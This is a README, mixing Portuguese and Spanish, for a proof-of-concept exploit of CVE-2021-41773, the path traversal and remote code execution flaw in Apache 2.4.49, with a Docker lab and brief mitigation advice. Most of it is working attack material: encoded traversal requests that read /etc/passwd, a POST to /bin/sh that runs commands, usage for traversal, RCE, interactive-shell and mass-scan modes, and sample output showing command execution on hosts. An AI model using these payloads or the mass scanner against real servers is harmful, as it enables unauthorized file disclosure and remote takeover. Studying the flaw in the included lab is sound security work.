
Prueba de concepto de CVE-2021-41773
Apenas para uso em ambientes controlados e próprios. Não usar contra sistemas sem autorização.
PoC desenvolvida para demonstrar e entender a vulnerabilidade CVE-2021-41773, presente no Apache HTTP Server 2.4.49.
A falha reside na função ap_normalize_path(), que não validava corretamente os caracteres codificados em URL. Isso permitia a um atacante sair do DocumentRoot por meio de uma sequência de caracteres codificados (%2e%2e%2f em vez de ../), lendo arquivos arbitrários do sistema.
Quando o módulo mod_cgi estava habilitado, a vulnerabilidade escalava para RCE (Remote Code Execution), permitindo executar comandos diretamente no servidor com as permissões do processo Apache.
O servidor deve cumprir todas estas condições para ser vulnerável:
| Condição | Detalhe |
|---|---|
| Versão do Apache | Exatamente 2.4.49 |
| Diretiva de acesso | Require all granted na configuração |
| Módulo CGI | mod_cgi habilitado (apenas para RCE) |
O Apache 2.4.49 filtrava o clássico ../, mas não a sua versão codificada em URL. O atacante constrói um caminho que o filtro não detecta, mas que o sistema operacional interpreta corretamente:
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e%2f é a codificação URL de ../. O Apache deixava passar, o SO o resolvia, e o resultado era acesso a arquivos fora do diretório web.
Com mod_cgi ativo, o path traversal é usado para apontar para /bin/sh em vez de um arquivo. O Apache o trata como um script CGI e o executa. O comando viaja no body do POST como um script shell mínimo:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
Content-Type: application/x-www-form-urlencoded
echo 'Content-Type: text/plain'; echo; id 2>&1
A saída do comando chega na resposta HTTP.
O repositório inclui um ambiente pronto para reproduzir a vulnerabilidade em setup/:
cd setup
docker compose up -d
Isso inicia o Apache 2.4.49 na porta 8080 com a configuração vulnerável (Require all granted + mod_cgi habilitado). Os arquivos do lab:
| Arquivo | Descrição |
|---|---|
setup/docker-compose.yml | Contêiner com Apache 2.4.49 |
setup/httpd.conf | Configuração vulnerável do Apache |
Os arquivos de configuração utilizados estão em setup/.
Por que urllib3 e não requests?
requests recodifica automaticamente os caracteres do path antes de enviá-los.
Isso quebra o payload porque o servidor recebe %252e em vez de %2e.
urllib3 permite enviar o path sem modificações.
Por que .%2e/ e não %2e%2e/?
O Apache filtra %2e%2e/ no módulo mod_rewrite.
A variante .%2e/ é semanticamente equivalente, mas passa pelo filtro,
porque a normalização do path ocorre após a validação.
mod_cgi deve estar habilitado para que o modo RCE funcione.
Sem ele, apenas o path traversal é possível.python PoC_2021-41773.py --target <URL> --mode <modo> [opciones]
python PoC_2021-41773.py --input-file <archivo> --mode check [--threads N] [--output resultados.json]
| Argumento | Obrigatório | Descrição |
|---|---|---|
--target | Sim* | URL base do servidor (ex: http://localhost:8080) |
--input-file / -iF | Sim* | Arquivo com lista de targets (um por linha) |
--mode | Sim | Modo de operação (ver tabela abaixo) |
--cmd | Não | Comando a executar no modo rce (padrão: id) |
--file | Não | Arquivo a ler no modo traversal (padrão: /etc/passwd) |
--threads / -t | Não | Threads para varredura massiva (padrão: 10, apenas com --input-file) |
--output / -o | Não | Exportar resultados para JSON (apenas com --input-file) |
* --target e --input-file são mutuamente exclusivos — usa-se um ou outro.
| Modo | Descrição |
|---|---|
check | Verifica se o target é vulnerável e se o mod_cgi está habilitado, sem extrair dados sensíveis |
traversal | Lê um arquivo arbitrário do sistema via path traversal |
rce | Executa um comando individual no servidor via mod_cgi |
shell | Pseudo-shell interativo para executar comandos RCE em série |
# Verificar si el servidor es vulnerable
python PoC_2021-41773.py --target http://localhost:8080 --mode check
# Leer /etc/passwd del servidor
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal
# Leer un archivo específico
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal --file /etc/hosts
# Ejecutar un comando
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd whoami
# Abrir un pseudo-shell interactivo
python PoC_2021-41773.py --target http://localhost:8080 --mode shell
# Escaneo masivo con exportación a JSON
python PoC_2021-41773.py -iF targets.txt --mode check -t 20 -o results.json
───────────────────────────────────────────────────────
CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
PoC con fines educativos y profesionales
───────────────────────────────────────────────────────
[*] Modo: Check de vulnerabilidad
[*] Objetivo: http://localhost:8080
[*] Probando traversal contra /etc/hostname...
[*] Header Server: Apache/2.4.49 (Unix)
[+] VULNERABLE — el servidor devolvió /etc/hostname
Hostname: e0d20311f3e6
[+] mod_cgi habilitado — RCE posible
[+] Modo: Path Traversal
[*] Objetivo: http://localhost:8080
[*] Archivo: /etc/passwd
[*] URL: http://localhost:8080/traversal/.%2e/.%2e/.%2e/.%2e/etc/passwd
[*] Enviando request...
[+] Servidor vulnerable — Status 200
──────────────────────────────────────────────────
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
──────────────────────────────────────────────────
[+] Modo: RCE via mod_cgi
[*] Objetivo: http://localhost:8080
[*] Comando: whoami
[*] Enviando request...
[+] RCE confirmado
──────────────────────────────────────────────────
daemon
──────────────────────────────────────────────────
[+] Modo: Shell interactivo via mod_cgi
[*] Objetivo: http://localhost:8080
[*] Verificando RCE...
[+] RCE confirmado — uid=1(daemon) gid=1(daemon) groups=1(daemon)
[*] Escribí 'exit' o 'quit' para salir.
apache> id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
apache> ls /
bin boot dev etc home lib lib64 ...
apache> exit
[*] Cerrando shell.
[*] Cargados 5 targets
[*] Threads: 5
[*] Iniciando escaneo...
[1/5] [+] http://10.0.0.1:8080 — VULNERABLE (RCE)
[2/5] [-] http://10.0.0.2:8080 — no vulnerable
[3/5] [!] http://10.0.0.3:9999 — error de conexión
[4/5] [+] http://10.0.0.4:8080 — VULNERABLE (solo traversal)
[5/5] [!] http://10.0.0.5:1234 — error de conexión
══════════════════════════════════════════════════
Resultados: 5 targets escaneados
Vulnerables: 2 (1 con RCE)
No vulnerables: 1
Errores: 2
Exportado a: results.json
══════════════════════════════════════════════════
O arquivo JSON contém metadados do escaneamento e um array de resultados com target, status, server, hostname e rce para cada alvo.
2.4.51 ou superior.Require all denied como valor padrão.mod_cgi se não for estritamente necessário.